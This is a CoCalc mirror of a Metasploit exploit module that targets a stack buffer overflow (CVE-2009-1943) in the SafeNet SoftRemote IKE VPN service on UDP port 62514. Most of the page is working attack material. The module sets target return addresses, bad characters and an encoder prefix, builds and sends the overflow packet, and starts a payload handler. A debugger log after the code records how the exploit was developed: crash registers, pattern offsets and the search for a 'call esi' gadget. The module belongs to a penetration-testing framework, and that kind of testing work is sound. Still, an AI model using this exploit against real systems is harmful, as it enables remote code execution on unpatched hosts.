CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/vpn/safenet_ike_11.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'SafeNet SoftRemote IKE Service Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe
16
service. When sending a specially crafted udp packet to port 62514 an
17
attacker may be able to execute arbitrary code. This module has
18
been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using
19
windows/meterpreter/reverse_ord_tcp payloads.
20
},
21
'Author' => [ 'MC' ],
22
'References' =>
23
[
24
[ 'CVE', '2009-1943' ],
25
[ 'OSVDB', '54831' ],
26
[ 'BID', '35154' ],
27
[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=63&Itemid=1' ],
28
],
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
},
33
'Payload' =>
34
{
35
'Space' => 213,
36
'BadChars' => "\x00\x0a\x20\x0d",
37
'StackAdjustment' => -3500,
38
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
39
},
40
'Privileged' => true,
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
[ 'SafeNet Irelke 10.8.0.20', { 'Ret' => 0x004514a9 } ],
45
[ 'SafeNet Irelke 10.8.0.10', { 'Ret' => 0x00451889 } ],
46
[ 'SafeNet Irelke 10.8.3.6', { 'Ret' => 0x00451929 } ],
47
],
48
'DisclosureDate' => '2009-06-01',
49
'DefaultTarget' => 0))
50
51
register_options([Opt::RPORT(62514)], self)
52
end
53
54
def exploit
55
56
connect_udp
57
58
sploit = [0x01000000].pack('V') # IPC packet
59
sploit << [0x00000033].pack('V') # Exploit this thing using command 0x11 (0x33 - 0x28).
60
sploit << payload.encoded
61
sploit << [target.ret].pack('V')
62
sploit << rand_text_alpha_upper(150)
63
64
print_status("Trying target #{target.name}...")
65
udp_sock.put(sploit)
66
67
select(nil,nil,nil,5)
68
handler
69
disconnect_udp
70
71
end
72
73
end
74
=begin
75
0:013> g
76
(f7c.fe0): Access violation - code c0000005 (first chance)
77
First chance exceptions are reported before any exception handling.
78
This exception may be expected and handled.
79
eax=68413268 ebx=00dcfde8 ecx=00000000 edx=014af53c esi=00dcfdf1 edi=00000000
80
eip=41316841 esp=014af64c ebp=00000001 iopl=0 nv up ei pl nz na pe nc
81
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
82
41316841 ?? ???
83
0:008> !pattern_offset 300
84
[Byakugan] Control of eax at offset 217.
85
[Byakugan] Control of eip at offset 213.
86
0:008> d esp
87
014af64c 68 32 41 68 33 41 68 34-41 68 35 41 68 36 41 68 h2Ah3Ah4Ah5Ah6Ah
88
014af65c 37 41 68 38 41 68 39 41-69 30 41 69 31 41 69 32 7Ah8Ah9Ai0Ai1Ai2
89
014af66c 41 69 33 41 69 34 41 69-35 41 69 36 41 69 37 41 Ai3Ai4Ai5Ai6Ai7A
90
014af67c 69 38 41 69 39 41 6a 30-41 6a 31 41 6a 32 41 6a i8Ai9Aj0Aj1Aj2Aj
91
014af68c 33 41 6a 34 41 6a 35 41-6a 36 41 6a 37 41 6a 38 3Aj4Aj5Aj6Aj7Aj8
92
014af69c 41 6a 39 41 6b 30 41 6b-31 41 6b 32 41 6b 33 41 Aj9Ak0Ak1Ak2Ak3A
93
014af6ac 6b 34 41 6b 35 41 6b 36-41 6b 37 41 6b 38 41 6b k4Ak5Ak6Ak7Ak8Ak
94
014af6bc 39 41 6c 30 41 6c 31 41-6c 32 41 6c 33 41 6c 34 9Al0Al1Al2Al3Al4
95
0:008> d esi
96
00dcfdf1 61 30 41 61 31 41 61 32-41 61 33 41 61 34 41 61 a0Aa1Aa2Aa3Aa4Aa
97
00dcfe01 35 41 61 36 41 61 37 41-61 38 41 61 39 41 62 30 5Aa6Aa7Aa8Aa9Ab0
98
00dcfe11 41 62 31 41 62 32 41 62-33 41 62 34 41 62 35 41 Ab1Ab2Ab3Ab4Ab5A
99
00dcfe21 62 36 41 62 37 41 62 38-41 62 39 41 63 30 41 63 b6Ab7Ab8Ab9Ac0Ac
100
00dcfe31 31 41 63 32 41 63 33 41-63 34 41 63 35 41 63 36 1Ac2Ac3Ac4Ac5Ac6
101
00dcfe41 41 63 37 41 63 38 41 63-39 41 64 30 41 64 31 41 Ac7Ac8Ac9Ad0Ad1A
102
00dcfe51 64 32 41 64 33 41 64 34-41 64 35 41 64 36 41 64 d2Ad3Ad4Ad5Ad6Ad
103
00dcfe61 37 41 64 38 41 64 39 41-65 30 41 65 31 41 65 32 7Ad8Ad9Ae0Ae1Ae2
104
0:008> s -b 0x00400000 0x0047c000 ff d6
105
.
106
.
107
004514a9 ff d6 8b e8 8d 44 24 10-c7 44 24 10 00 00 00 00 .....D$..D$.....
108
0:008> u 0x004514a9 L1
109
IreIKE+0x514a9:
110
004514a9 ffd6 call esi
111
=end
112
113